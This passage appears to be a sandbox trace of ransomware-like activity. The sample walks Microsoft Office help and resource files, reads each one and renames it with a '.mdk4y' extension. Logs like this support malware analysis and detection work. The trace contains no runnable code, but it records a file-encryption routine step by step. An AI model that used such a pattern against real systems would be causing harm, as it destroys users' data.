(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826647000000) returned 1 [0191.240] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x281, lpOverlapped=0x0) returned 1 [0191.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826647100000) returned 1 [0191.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826647100000) returned 1 [0191.241] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.mdk4y")) returned 1 [0191.242] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.242] AreFileApisANSI () returned 1 [0191.242] GetACP () returned 0x4e4 [0191.242] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB.DEV_COL.HXT", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB.DEV_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 17 [0191.242] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826647300000) returned 1 [0191.243] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd1, lpOverlapped=0x0) returned 1 [0191.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826647400000) returned 1 [0191.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826647400000) returned 1 [0191.244] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.mdk4y")) returned 1 [0191.245] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.245] AreFileApisANSI () returned 1 [0191.245] GetACP () returned 0x4e4 [0191.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB.DEV_F_COL.HXK", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB.DEV_F_COL.HXKHXK", lpUsedDefaultChar=0x37df4c) returned 19 [0191.245] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826647600000) returned 1 [0191.246] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0191.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826647700000) returned 1 [0191.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826647700000) returned 1 [0191.247] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.mdk4y")) returned 1 [0191.248] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.248] AreFileApisANSI () returned 1 [0191.248] GetACP () returned 0x4e4 [0191.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB.DEV_K_COL.HXK", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB.DEV_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 19 [0191.248] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826647900000) returned 1 [0191.249] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0191.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826648000000) returned 1 [0191.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826648000000) returned 1 [0191.250] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.mdk4y")) returned 1 [0191.251] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.251] AreFileApisANSI () returned 1 [0191.251] GetACP () returned 0x4e4 [0191.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB.HXS", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB.HXS_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 9 [0191.251] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826648200000) returned 1 [0191.252] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0191.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826655100000) returned 1 [0191.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826655100000) returned 1 [0191.330] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.mdk4y")) returned 1 [0191.331] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.331] AreFileApisANSI () returned 1 [0191.331] GetACP () returned 0x4e4 [0191.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB.OPG", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB.OPG", lpUsedDefaultChar=0x37df4c) returned 9 [0191.331] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826656200000) returned 1 [0191.332] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ef8, lpOverlapped=0x0) returned 1 [0191.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826660200000) returned 1 [0191.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826660300000) returned 1 [0191.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.mdk4y")) returned 1 [0191.374] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.374] AreFileApisANSI () returned 1 [0191.374] GetACP () returned 0x4e4 [0191.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB_COL.HXC", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB_COL.HXCOL.HXK", lpUsedDefaultChar=0x37df4c) returned 13 [0191.374] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826660500000) returned 1 [0191.375] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26d, lpOverlapped=0x0) returned 1 [0191.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826662200000) returned 1 [0191.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826662200000) returned 1 [0191.392] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.mdk4y")) returned 1 [0191.393] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.393] AreFileApisANSI () returned 1 [0191.393] GetACP () returned 0x4e4 [0191.393] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB_COL.HXT", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 13 [0191.394] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826662500000) returned 1 [0191.395] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd, lpOverlapped=0x0) returned 1 [0191.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826662600000) returned 1 [0191.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826662600000) returned 1 [0191.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.mdk4y")) returned 1 [0191.397] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.397] AreFileApisANSI () returned 1 [0191.397] GetACP () returned 0x4e4 [0191.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB_F_COL.HXK", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB_F_COL.HXK.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0191.397] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826662800000) returned 1 [0191.398] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0191.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826662900000) returned 1 [0191.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826662900000) returned 1 [0191.399] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.mdk4y")) returned 1 [0191.400] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.400] AreFileApisANSI () returned 1 [0191.400] GetACP () returned 0x4e4 [0191.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB_K_COL.HXK", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0191.400] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826663100000) returned 1 [0191.401] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0191.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826663200000) returned 1 [0191.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826663200000) returned 1 [0191.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.mdk4y")) returned 1 [0191.403] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.403] AreFileApisANSI () returned 1 [0191.403] GetACP () returned 0x4e4 [0191.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSQRY32.CHM", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSQRY32.CHM.HXK", lpUsedDefaultChar=0x37df4c) returned 11 [0191.404] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msqry32.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826663400000) returned 1 [0191.404] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7d682, lpOverlapped=0x0) returned 1 [0191.425] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826665500000) returned 1 [0191.425] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826665500000) returned 1 [0191.430] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msqry32.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msqry32.chm.mdk4y")) returned 1 [0191.431] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.431] AreFileApisANSI () returned 1 [0191.431] GetACP () returned 0x4e4 [0191.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTINTL.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTINTL.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0191.431] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.433] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826666300000) returned 1 [0191.433] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15d58, lpOverlapped=0x0) returned 1 [0191.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826667400000) returned 1 [0191.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826667400000) returned 1 [0191.445] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll.mdk4y")) returned 1 [0191.446] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.446] AreFileApisANSI () returned 1 [0191.446] GetACP () returned 0x4e4 [0191.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTORE.HXS", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTORE.HXSL", lpUsedDefaultChar=0x37df4c) returned 10 [0191.446] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826667700000) returned 1 [0191.447] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5f254, lpOverlapped=0x0) returned 1 [0191.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826672400000) returned 1 [0191.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826672500000) returned 1 [0191.498] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.mdk4y")) returned 1 [0191.499] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.499] AreFileApisANSI () returned 1 [0191.499] GetACP () returned 0x4e4 [0191.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTORE_COL.HXC", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTORE_COL.HXCK", lpUsedDefaultChar=0x37df4c) returned 14 [0191.499] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826673000000) returned 1 [0191.500] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x272, lpOverlapped=0x0) returned 1 [0191.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826674700000) returned 1 [0191.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826674800000) returned 1 [0191.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.mdk4y")) returned 1 [0191.520] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.520] AreFileApisANSI () returned 1 [0191.520] GetACP () returned 0x4e4 [0191.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTORE_COL.HXT", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTORE_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 14 [0191.520] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.520] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826675000000) returned 1 [0191.521] ReadFile (in: hFile=0xd8, 